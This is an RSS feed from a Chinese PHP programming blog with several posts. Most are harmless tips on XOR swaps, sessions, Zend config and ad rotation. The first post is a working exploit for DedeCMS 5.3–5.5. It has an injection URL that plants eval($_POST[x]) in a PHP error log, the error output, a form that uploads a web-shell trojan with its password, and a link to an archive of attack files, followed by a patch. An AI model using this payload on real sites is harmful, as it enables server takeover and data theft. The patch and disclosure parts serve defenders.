<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>小恒的博客 &#187; php</title>
	<atom:link href="http://www.henghome.com/archives/category/php/feed" rel="self" type="application/rss+xml" />
	<link>http://www.henghome.com</link>
	<description>www.henghome.com</description>
	<lastBuildDate>Fri, 09 Apr 2010 17:45:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>dedecms注入漏洞 影响版本5.3 &#8211; 5.5</title>
		<link>http://www.henghome.com/archives/356</link>
		<comments>http://www.henghome.com/archives/356#comments</comments>
		<pubDate>Mon, 10 Aug 2009 13:17:41 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=356</guid>
		<description><![CDATA[dedecms5.3和5.5系列版本存在重大注入漏洞，请注意以下操作有攻击性，仅供研究。利用此漏洞进行违法活动者，后果自负。 假设域名是：www.abc.com 攻击步骤如下： 1. 访问网址： http://www.abc.com/plus/digg_frame.php?action=good&#38;id=1024%651024&#38;mid=*/eval($_POST[x]);var_dump(3);?&#62; 可看见以下错误信息 2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。 &#160;int(3) Error: Illegal double &#8216;1024e1024&#8216; value found during parsing &#160;Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?&#38;gt; 3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是 &#60;form action=&#8221;http://www.abc.com/data/mysql_error_trace.php&#8221; enctype=&#8221;application/x-www-form-urlencoded&#8221; method=&#8221;post&#8221;&#62; 按确定后的看到第2步骤的信息表示文件木马上传成功。 木马网址：http://www.abc.com/data/a.php  密码：2006888 漏洞分析： 利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。 解决方案： 打开文件 include/dedesql.class.php 找到代码 &#160;&#60;?php &#160;@fwrite($fp, &#8216;&#38;lt;&#8216;.&#8216;?php&#8216;.&#34;\r\n/*\r\n{$savemsg}\r\n*/\r\n?&#34;.&#34;&#38;gt;\r\n&#34;); [...]]]></description>
			<content:encoded><![CDATA[<p>dedecms5.3和5.5系列版本存在重大注入漏洞，请注意以下操作有攻击性，仅供研究。利用此漏洞进行违法活动者，后果自负。</p>
<p>假设域名是：<a href="http://www.abc.com">www.abc.com</a> 攻击步骤如下：<br />
1. 访问网址：</p>
<p>http://www.abc.com/plus/digg_frame.php?action=good&amp;id=1024%651024&amp;mid=*/eval($_POST[x]);var_dump(3);?&gt;</p>
<p>可看见以下错误信息</p>
<div id="attachment_357" class="wp-caption aligncenter" style="width: 605px"><a href="http://www.henghome.com/wp-content/uploads/2009/08/dede_1.jpg" target="_blank" rel="lightbox[356]"><img class="size-full wp-image-357" title="注入成功" src="http://www.henghome.com/wp-content/uploads/2009/08/dede_1.jpg" alt="注入成功" width="595" height="246" /></a><p class="wp-caption-text">注入成功</p></div>
<p><span id="more-356"></span><br />
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。</p>
<div class="sqlcode">
<div class="hl-main">
<ol class="hl-main">
<li>&nbsp;<span class="hl-reserved">int</span><span class="hl-brackets">(</span><span class="hl-number">3</span><span class="hl-brackets">)</span><span class="hl-code"> </span><span class="hl-identifier">Error</span><span class="hl-code">: </span><span class="hl-identifier">Illegal</span><span class="hl-code"> </span><span class="hl-reserved">double</span><span class="hl-code"> </span><span class="hl-quotes">&#8216;</span><span class="hl-string">1024e1024</span><span class="hl-quotes">&#8216;</span><span class="hl-code"> </span><span class="hl-reserved">value</span><span class="hl-code"> </span><span class="hl-reserved">found</span><span class="hl-code"> </span><span class="hl-identifier">during</span><span class="hl-code"> </span><span class="hl-identifier">parsing</span><span class="hl-code"></span></li>
<li><span class="hl-code">&nbsp;</span><span class="hl-identifier">Error</span><span class="hl-code"> </span><span class="hl-reserved">sql</span><span class="hl-code">: </span><span class="hl-reserved">Select</span><span class="hl-code"> </span><span class="hl-identifier">goodpost</span><span class="hl-code">,</span><span class="hl-identifier">badpost</span><span class="hl-code">,</span><span class="hl-identifier">scores</span><span class="hl-code"> </span><span class="hl-reserved">From</span><span class="hl-code"> </span><span class="hl-quotes">`</span><span class="hl-identifier">gxeduw_archives</span><span class="hl-quotes">`</span><span class="hl-code"> </span><span class="hl-reserved">where</span><span class="hl-code"> </span><span class="hl-identifier">id</span><span class="hl-code">=</span><span class="hl-number">1024e1024</span><span class="hl-code"> </span><span class="hl-reserved">limit</span><span class="hl-code"> </span><span class="hl-number">0</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">; */ ?&amp;</span><span class="hl-identifier">gt</span><span class="hl-code">;</span></li>
</ol>
</div>
</div>
<p>3. 执行<a href="http://www.henghome.com/dede.rar" target="_blank">dede.rar</a>里的文件 test.html，注意 form 中 action 的地址是</p>
<p>&lt;form action=&#8221;http://www.abc.com/data/mysql_error_trace.php&#8221; enctype=&#8221;application/x-www-form-urlencoded&#8221; method=&#8221;post&#8221;&gt;</p>
<p>按确定后的看到第2步骤的信息表示文件木马上传成功。</p>
<p>木马网址：<a href="http://www.abc.com/data/a.php">http://www.abc.com/data/a.php</a> <br />
密码：2006888</p>
<p>漏洞分析：<br />
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。</p>
<p><span style="color: #008000;">解决方案：</span></p>
<p><span style="color: #008000;">打开文件 include/dedesql.class.php</span><br />
找到代码</p>
<div class="phpcode">
<div class="hl-main">
<ol class="hl-main">
<li>&nbsp;<span class="hl-inlinetags">&lt;?php</span><span class="hl-code"></span></li>
<li><span class="hl-code">&nbsp;@</span><span class="hl-identifier">fwrite</span><span class="hl-brackets">(</span><span class="hl-var">$fp</span><span class="hl-code">, </span><span class="hl-quotes">&#8216;</span><span class="hl-string">&amp;lt;</span><span class="hl-quotes">&#8216;</span><span class="hl-code">.</span><span class="hl-quotes">&#8216;</span><span class="hl-string">?php</span><span class="hl-quotes">&#8216;</span><span class="hl-code">.</span><span class="hl-quotes">&quot;</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-string">/*</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-var">{$savemsg}</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-string">*/</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-string">?</span><span class="hl-quotes">&quot;</span><span class="hl-code">.</span><span class="hl-quotes">&quot;</span><span class="hl-string">&amp;gt;</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">)</span><span class="hl-code">;</span></li>
<li><span class="hl-code">&nbsp;</span><span class="hl-inlinetags">?&gt;</span></li>
</ol>
</div>
</div>
<p>替换代码</p>
<div class="phpcode">
<div class="hl-main">
<ol class="hl-main">
<li>&nbsp;<span class="hl-inlinetags">&lt;?php</span><span class="hl-code"></span></li>
<li><span class="hl-code">&nbsp;@</span><span class="hl-identifier">fwrite</span><span class="hl-brackets">(</span><span class="hl-var">$fp</span><span class="hl-code">, </span><span class="hl-quotes">&#8216;</span><span class="hl-string">&amp;lt;</span><span class="hl-quotes">&#8216;</span><span class="hl-code">.</span><span class="hl-quotes">&#8216;</span><span class="hl-string">?php</span><span class="hl-quotes">&#8216;</span><span class="hl-code">.</span><span class="hl-quotes">&quot;</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-string">exit;</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-string">/*</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-var">{$savemsg}</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-string">*/</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-string">?</span><span class="hl-quotes">&quot;</span><span class="hl-code">.</span><span class="hl-quotes">&quot;</span><span class="hl-string">&amp;gt;</span><span class="hl-special">\r</span><span class="hl-special">\n</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">)</span><span class="hl-code">;</span></li>
<li><span class="hl-code">&nbsp;</span><span class="hl-inlinetags">?&gt;</span></li>
</ol>
</div>
</div>
<p><span style="color: #008000;">清空 data/mysql_error_trace.php 文件内容</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.henghome.com/archives/356/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>不使用第三方变量交换两个变量的值</title>
		<link>http://www.henghome.com/archives/237</link>
		<comments>http://www.henghome.com/archives/237#comments</comments>
		<pubDate>Tue, 10 Mar 2009 08:36:36 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=237</guid>
		<description><![CDATA[用位运算中的异或运算 $a = '中国'; $b = '美国'; echo &#34;交换前：\$a = {$a}; \$b = {$b};&#34;; $b = $b ^ $a; $a = $b ^ $a; $b = $b ^ $a; echo &#34;交换后：\$a = {$a}; \$b = {$b};&#34;; 此算法能够实现是由异或运算的特点决定的，通过异或运算能够使数据中的某些位翻转，其他位不变。这就意味着任意一个数与任意一个给定的值连续异或两次，值不变。]]></description>
			<content:encoded><![CDATA[<p>用位运算中的异或运算</p>
<pre class="brush: php;">
$a = '中国';
$b = '美国';

echo &quot;交换前：\$a = {$a}; \$b = {$b};&quot;;
$b = $b ^ $a;
$a = $b ^ $a;
$b = $b ^ $a;
echo &quot;交换后：\$a = {$a}; \$b = {$b};&quot;;
</pre>
<p>此算法能够实现是由异或运算的特点决定的，通过异或运算能够使数据中的某些位翻转，其他位不变。这就意味着任意一个数与任意一个给定的值连续异或两次，值不变。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.henghome.com/archives/237/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用最少的代码写一个求3值最大值的函数</title>
		<link>http://www.henghome.com/archives/234</link>
		<comments>http://www.henghome.com/archives/234#comments</comments>
		<pubDate>Mon, 09 Mar 2009 01:14:15 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=234</guid>
		<description><![CDATA[我觉得这道题不是简单在考三元运算符，主要还是在考程序员在写函数时有没有考虑到函数的可扩展性。 &#60;?php $a = 1; $b = 2; $c = 3; echo my_max($a, $b, $c); function my_max() { $max = 0; $args = func_get_args(); foreach ($args as $nums) { $max = (is_numeric($nums) &#38;&#38; $max &#60; $nums) ? $nums : $max; } return $max; }]]></description>
			<content:encoded><![CDATA[<p>我觉得这道题不是简单在考三元运算符，主要还是在考程序员在写函数时有没有考虑到函数的可扩展性。</p>
<pre class="brush: php;">
&lt;?php
$a = 1;
$b = 2;
$c = 3;
echo my_max($a, $b, $c);

function my_max()
{
	$max  = 0;
	$args = func_get_args();

	foreach ($args as $nums) {
		$max = (is_numeric($nums) &amp;&amp; $max &lt; $nums) ? $nums : $max;
	}

	return $max;
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.henghome.com/archives/234/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>禁用 COOKIE 后 SESSION 还能用吗？</title>
		<link>http://www.henghome.com/archives/231</link>
		<comments>http://www.henghome.com/archives/231#comments</comments>
		<pubDate>Sat, 07 Mar 2009 02:57:38 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=231</guid>
		<description><![CDATA[   我实际操作下了，能不能用要根据 php.ini 对 SESSION 的配置情况    php.ini 中 SESSION 的配置       session.use_only_cookies = 0; // 关闭仅使用cookies存放会话id       session.use_trans_sid = 1; // 允许SessionID通过URL明文传输    在这种情况下SESSION是可以使用的，服务器端会自动在地址后面附加PHPSESSIONID参数。    示例：http://www.henghome.com/test.php?PHPSESSIONID=4refrie2ot5kk73nkgpnbjgg37    php.ini 中 SESSION 的配置       session.use_only_cookies = 1; // 开启仅使用cookies存放会话id       session.use_trans_sid = 1; // 允许SessionID通过URL明文传输    在这种情况下虽然已经允许了SessionID通过URL明文传输，担是同时又开启了仅使用cookies存放会话SessionID，所以在URL中明文传输的PHPSESSIONID参数值是无效的，SESSION 不能用。    php.ini 中 SESSION 的配置       session.use_trans_sid = [...]]]></description>
			<content:encoded><![CDATA[<p>   我实际操作下了，能不能用要根据 php.ini 对 SESSION 的配置情况</p>
<p>   php.ini 中 SESSION 的配置<br />
      session.use_only_cookies = 0; // 关闭仅使用cookies存放会话id<br />
      session.use_trans_sid = 1; // 允许SessionID通过URL明文传输<br />
   在这种情况下SESSION是可以使用的，服务器端会自动在地址后面附加PHPSESSIONID参数。<br />
   示例：http://www.henghome.com/test.php?PHPSESSIONID=4refrie2ot5kk73nkgpnbjgg37</p>
<p>   php.ini 中 SESSION 的配置<br />
      session.use_only_cookies = 1; // 开启仅使用cookies存放会话id<br />
      session.use_trans_sid = 1; // 允许SessionID通过URL明文传输<br />
   在这种情况下虽然已经允许了SessionID通过URL明文传输，担是同时又开启了仅使用cookies存放会话SessionID，所以在URL中明文传输的PHPSESSIONID参数值是无效的，SESSION 不能用。</p>
<p>   php.ini 中 SESSION 的配置<br />
      session.use_trans_sid = 0; // 禁止SessionID通过URL方式明文传输<br />
   SESSION 不能用， 这是最这安全的做法，也是 php.ini 的默认配置</p>
]]></content:encoded>
			<wfw:commentRss>http://www.henghome.com/archives/231/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZendOptimizer-3.3.0 绿色版</title>
		<link>http://www.henghome.com/archives/205</link>
		<comments>http://www.henghome.com/archives/205#comments</comments>
		<pubDate>Fri, 16 Jan 2009 02:13:34 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=205</guid>
		<description><![CDATA[ZendOptimizer-3.3.0 绿色版 php.ini配置：${path}表示系统路径 [Zend] zend_extension_manager.optimizer_ts=&#8221;${path}\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0&#8243; zend_extension_ts=&#8221;${path}\Zend\ZendOptimizer-3.3.0\lib\ZendExtensionManager.dll&#8221;]]></description>
			<content:encoded><![CDATA[<p><a href="http://down.henghome.com/ZendOptimizer-3.3.0.zip">ZendOptimizer-3.3.0 绿色版</a></p>
<p>php.ini配置：${path}表示系统路径</p>
<p>[Zend]<br />
zend_extension_manager.optimizer_ts=&#8221;${path}\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0&#8243;<br />
zend_extension_ts=&#8221;${path}\Zend\ZendOptimizer-3.3.0\lib\ZendExtensionManager.dll&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.henghome.com/archives/205/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>面向对象设计的几个原则</title>
		<link>http://www.henghome.com/archives/198</link>
		<comments>http://www.henghome.com/archives/198#comments</comments>
		<pubDate>Mon, 15 Sep 2008 10:20:37 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[软件开发]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=198</guid>
		<description><![CDATA[1. 面向接口编程，而不是实现编程 2. 优先使用对象组合，而不是类继承 3. 将可变的部分和不可变的部分分离 &#8230;. 参考资料：http://www.ibm.com/developerworks/cn/java/reuse/]]></description>
			<content:encoded><![CDATA[<p>1. 面向接口编程，而不是实现编程<br />
2. 优先使用对象组合，而不是类继承<br />
3. 将可变的部分和不可变的部分分离<br />
&#8230;.</p>
<p>参考资料：<a href="http://www.ibm.com/developerworks/cn/java/reuse/">http://www.ibm.com/developerworks/cn/java/reuse/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.henghome.com/archives/198/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>设计模式感想</title>
		<link>http://www.henghome.com/archives/186</link>
		<comments>http://www.henghome.com/archives/186#comments</comments>
		<pubDate>Sun, 31 Aug 2008 02:34:06 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>
		<category><![CDATA[软件开发]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=186</guid>
		<description><![CDATA[      这段时间我在学习设计模式，感触颇深。其中有不少设计模式我在项目开发中已使用过，只是受到了本身水平限制，当时我还不知道自己使用了设计模式。o(∩_∩)o&#8230; 再接再厉，前途是光明的。]]></description>
			<content:encoded><![CDATA[<p>      这段时间我在学习设计模式，感触颇深。其中有不少设计模式我在项目开发中已使用过，只是受到了本身水平限制，当时我还不知道自己使用了设计模式。o(∩_∩)o&#8230;</p>
<p>再接再厉，前途是光明的。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.henghome.com/archives/186/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP 负载均衡算法</title>
		<link>http://www.henghome.com/archives/164</link>
		<comments>http://www.henghome.com/archives/164#comments</comments>
		<pubDate>Fri, 01 Aug 2008 04:40:15 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=164</guid>
		<description><![CDATA[参考条件： 1、数据表名：popadv，里面就一个字段：adv，用来保存广告链接，大概有100条记录 2、在随机选广告的基础上尽量实现平均，就是这100条广告最好被选中的机会相差不大，不要出现一个广告被选了50次，另一个才选上2次 3、每天大概有30万次浏览，就是说你的程序性能必须要能承载每天30万次的访问 &#160;&#60;!&#8211;p&#60;br&#8211;&#62;/** &#160;* 负载均衡算法 &#160;* &#160;* 以用户访问的毫秒为基数 可大大提升广告显示的平均值 &#160;*/ &#160;$mtime = explode(&#8216; &#8216;, microtime()); &#160;// 链接缓存数组 &#160;$adv = array(&#8216;链接1&#8242;, &#8216;链接2&#8242;, &#8216;链接3&#8242;, &#8216;链接4&#8242;, &#8216;链接5&#8242;); &#160;$i = $mtime[0] % count($adv); &#160;echo $adv[$i]; &#160;?&#38;gt;]]></description>
			<content:encoded><![CDATA[<p>参考条件：<br />
1、数据表名：popadv，里面就一个字段：adv，用来保存广告链接，大概有100条记录<br />
2、在随机选广告的基础上尽量实现平均，就是这100条广告最好被选中的机会相差不大，不要出现一个广告被选了50次，另一个才选上2次<br />
3、每天大概有30万次浏览，就是说你的程序性能必须要能承载每天30万次的访问</p>
<div class="phpcode">
<div class="hl-main">
<ol class="hl-main">
<li>&nbsp;<span class="hl-code">&lt;!&#8211;p&lt;br&#8211;&gt;/**</span></li>
<li><span class="hl-code">&nbsp;* 负载均衡算法</span></li>
<li><span class="hl-code">&nbsp;*</span></li>
<li><span class="hl-code">&nbsp;* 以用户访问的毫秒为基数 可大大提升广告显示的平均值</span></li>
<li><span class="hl-code">&nbsp;*/</span></li>
<li><span class="hl-code">&nbsp;$mtime = explode(&#8216; &#8216;, microtime());</span></li>
<li><span class="hl-code">&nbsp;// 链接缓存数组</span></li>
<li><span class="hl-code">&nbsp;$adv = array(&#8216;链接1&#8242;, &#8216;链接2&#8242;, &#8216;链接3&#8242;, &#8216;链接4&#8242;, &#8216;链接5&#8242;);</span></li>
<li><span class="hl-code">&nbsp;$i = $mtime[0] % count($adv);</span></li>
<li><span class="hl-code">&nbsp;echo $adv[$i];</span></li>
<li><span class="hl-code">&nbsp;?&amp;gt;</span></li>
</ol>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.henghome.com/archives/164/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->